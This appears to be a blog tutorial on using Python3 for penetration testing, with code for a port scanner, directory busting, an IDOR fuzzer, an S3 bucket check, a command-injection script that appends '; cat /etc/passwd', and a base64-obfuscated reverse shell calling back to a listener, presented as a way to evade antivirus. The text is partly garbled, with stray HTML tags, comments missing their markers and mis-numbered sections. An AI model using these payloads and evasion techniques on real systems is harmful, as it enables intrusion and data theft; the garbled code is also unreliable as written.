Python3 For Penetration Testing: From Script Kiddie to Red Team Automation + Video

By /

Listen to this Post

Featured Image

Introduction:

In the modern cybersecurity landscape, Python has emerged as the lingua franca for penetration testers and ethical hackers. Its extensive library ecosystem allows security professionals to rapidly prototype exploits, automate reconnaissance, and chain complex attacks that manual processes would miss. Moving beyond basic scripting, Python3 enables testers to build custom tooling that bypasses modern defensive controls, turning raw code into a tactical advantage during red team engagements.

Learning Objectives:

  • Understand how to use Python3 to automate network scanning and service enumeration.
  • Master the creation of custom reverse shells and payload encoders to evade signature-based detection.
  • Learn to interact with web application APIs to test for authentication and injection flaws.

You Should Know:

  1. Building a Custom Port Scanner with Socket and Concurrency
    The foundation of any penetration test begins with understanding the target’s footprint. While tools like Nmap are powerful, a custom Python script allows for greater control over packet crafting and timing to avoid intrusion detection systems.
    Step‑by‑step guide explaining what this does and how to use it.

    import socket
import threading
from queue import Queue</li>
</ol>

target = "192.168.1.1"  Replace with target IP
queue = Queue()
open_ports = []

def scan_port(port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((target, port))
if result == 0:
open_ports.append(port)
sock.close()
except Exception:
pass

def threader():
while True:
worker = queue.get()
scan_port(worker)
queue.task_done()

Creating 100 threads for concurrency
for x in range(100):
t = threading.Thread(target=threader)
t.daemon = True
t.start()

for port in range(1, 1024):
queue.put(port)

queue.join()
print(f"Open ports on {target}: {open_ports}")

    This script leverages threading to scan ports 1-1024 rapidly. The `connect_ex` method returns `0` if a connection is successful, indicating an open port. Using a queue ensures we manage the workload efficiently across threads, significantly speeding up the scan compared to a linear approach.

    2. Crafting an Undetectable Reverse Shell with Obfuscation

    Reverse shells are often flagged by antivirus due to known signatures. By encoding the payload and using base64 execution, testers can slip past basic defenses.
    Step‑by‑step guide explaining what this does and how to use it.

    import base64
import sys

Standard Python reverse shell code
shell_code = '''
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.100",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
'''

Encode to base64
encoded = base64.b64encode(shell_code.encode()).decode()
payload = f"python3 -c \"exec(<strong>import</strong>('base64').b64decode('{encoded}'))\""
print(payload)

    Running this script generates a one-liner that, when executed on the target, decodes and runs the hidden shell. This bypasses simple string-based detection because the malicious commands are not in plain text. On a Linux target, you would pipe this into `bash` or `sh` to initiate the callback to your listener (Netcat or Metasploit).

    3. Automating Directory Busting for Web Applications

    Discovering hidden directories and files is a critical phase of web app testing. Python’s `requests` library can automate this process with custom headers to mimic legitimate traffic.
    Step‑by‑step guide explaining what this does and how to use it.

    import requests

target_url = "http://target-site.com/"
wordlist = ["admin", "login", "backup", "hidden", ".git"]

for directory in wordlist:
full_url = target_url + directory
try:
response = requests.get(full_url, timeout=3, headers={"User-Agent": "Mozilla/5.0"})
if response.status_code == 200:
print(f"[+] Found: {full_url}")
elif response.status_code == 403:
print(f"[!] Forbidden (403): {full_url}")
except requests.exceptions.ConnectionError:
pass

    This script iterates through a wordlist and checks HTTP status codes. A `200 OK` indicates the resource exists, while a `403` might mean it exists but is protected. The custom User-Agent header helps blend in with normal browser traffic, reducing the chance of triggering a Web Application Firewall (WAF).

    4. Exploiting Command Injection Vulnerabilities with Payload Chaining

    When a web application improperly sanitizes user input, command injection can occur. Python allows us to automate the exploitation and data exfiltration.
    Step‑by‑step guide explaining what this and how to use it.

    import requests

target = "http://vulnerable-site.com/ping.php"
data = {"ip": "127.0.0.1; cat /etc/passwd"}  The injection point

response = requests.post(target, data=data)
if "root:" in response.text:
print("[+] Command injection successful! Data follows:")
print(response.text)
else:
print("[-] Injection failed or output not captured.")

    This example targets a hypothetical ping functionality. By appending `; cat /etc/passwd` to the IP parameter, we execute a second command on the underlying OS. The script checks for the presence of the `root:` string in the response to confirm the vulnerability. For Windows targets, you might use `& type C:\Windows\win.ini` instead.

    1. API Security Testing: Fuzzing for Broken Object Level Authorization (BOLA)
      Modern applications rely heavily on APIs. Testing for BOLA involves manipulating object IDs in requests to access unauthorized data.
      Step‑by‑step guide explaining what this does and how to use it.

      import requests</li>
</ol>

headers = {"Authorization": "Bearer valid_user_token"}
base_url = "https://api.target.com/users/"

for user_id in range(1000, 1020):  Iterate through IDs
response = requests.get(base_url + str(user_id), headers=headers)
if response.status_code == 200 and user_id != 1005:  Assuming 1005 is the authed user
print(f"[!] Potential IDOR: Accessed data for user {user_id}")
print(response.json())

      The script uses a valid token for a single user (ID 1005) but attempts to access resources for other users (1000-1020). If the API returns a `200` with data for IDs other than the authenticated one, it indicates a broken access control vulnerability. This is a critical finding in API penetration tests.

      6. Cloud Hardening: Scanning for Open S3 Buckets

      Misconfigured cloud storage is a leading cause of data breaches. Python can be used to verify bucket permissions at scale.
      Step‑by‑step guide explaining what this does and how to use it.

      import boto3
from botocore.exceptions import ClientError

s3 = boto3.client('s3', region_name='us-east-1')
bucket_name = "target-company-assets"

try:
 Attempt to list objects without authentication
response = s3.list_objects_v2(Bucket=bucket_name)
if 'Contents' in response:
print(f"[bash] Bucket '{bucket_name}' is publicly listable!")
for obj in response['Contents']:
print(f" - {obj['Key']}")
else:
print(f"[bash] Bucket '{bucket_name}' is not publicly listable (or empty).")
except ClientError as e:
if "AccessDenied" in str(e):
print(f"[bash] Bucket '{bucket_name}' denied public access.")
else:
print(f"[bash] {e}")

      This script uses the AWS SDK (boto3) to test if an S3 bucket allows unauthenticated listing. If the `list_objects_v2` call succeeds without credentials, the bucket is exposed. This technique helps organizations identify data leaks before attackers do.

      What Undercode Say:

      • Automation is the multiplier: Python transforms manual enumeration and exploitation into efficient, repeatable processes. Testers who script their attacks can cover more ground and find deeper flaws than those relying solely on point-and-click tools.
      • Defense requires understanding the offense: Security teams must understand these scripting techniques to build effective detections. Monitoring for anomalous outbound connections (like the reverse shell) or sequential API calls (like the BOLA fuzzer) can reveal active penetration tests or real attacks.
      • Ethics and authorization are paramount: All the techniques demonstrated here are powerful and, if misused, illegal. They must only be applied against systems you own or have explicit written permission to test. The line between a penetration tester and a malicious hacker is a contract.

      Prediction:

      As AI-powered coding assistants become ubiquitous, the barrier to entry for creating custom exploitation tooling will drop significantly. We will see a surge in polymorphic malware and attack scripts that are re-written on the fly by LLMs to evade signature-based detection. Consequently, defense strategies will pivot heavily towards behavioral analysis and anomaly detection within networks (like UEBA), rather than static signatures, forcing both red and blue teams to upskill in data science and AI-driven automation to keep pace.

      ▶️ Related Video (86% Match):

      🎯Let’s Practice For Free:

      IT/Security Reporter URL:

      Reported By: Python3 For – Hackers Feeds
      Extra Hub: Undercode MoN
      Basic Verification: Pass ✅

      🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

      💬 Whatsapp | 💬 Telegram

      📢 Follow UndercodeTesting & Stay Tuned:

      𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: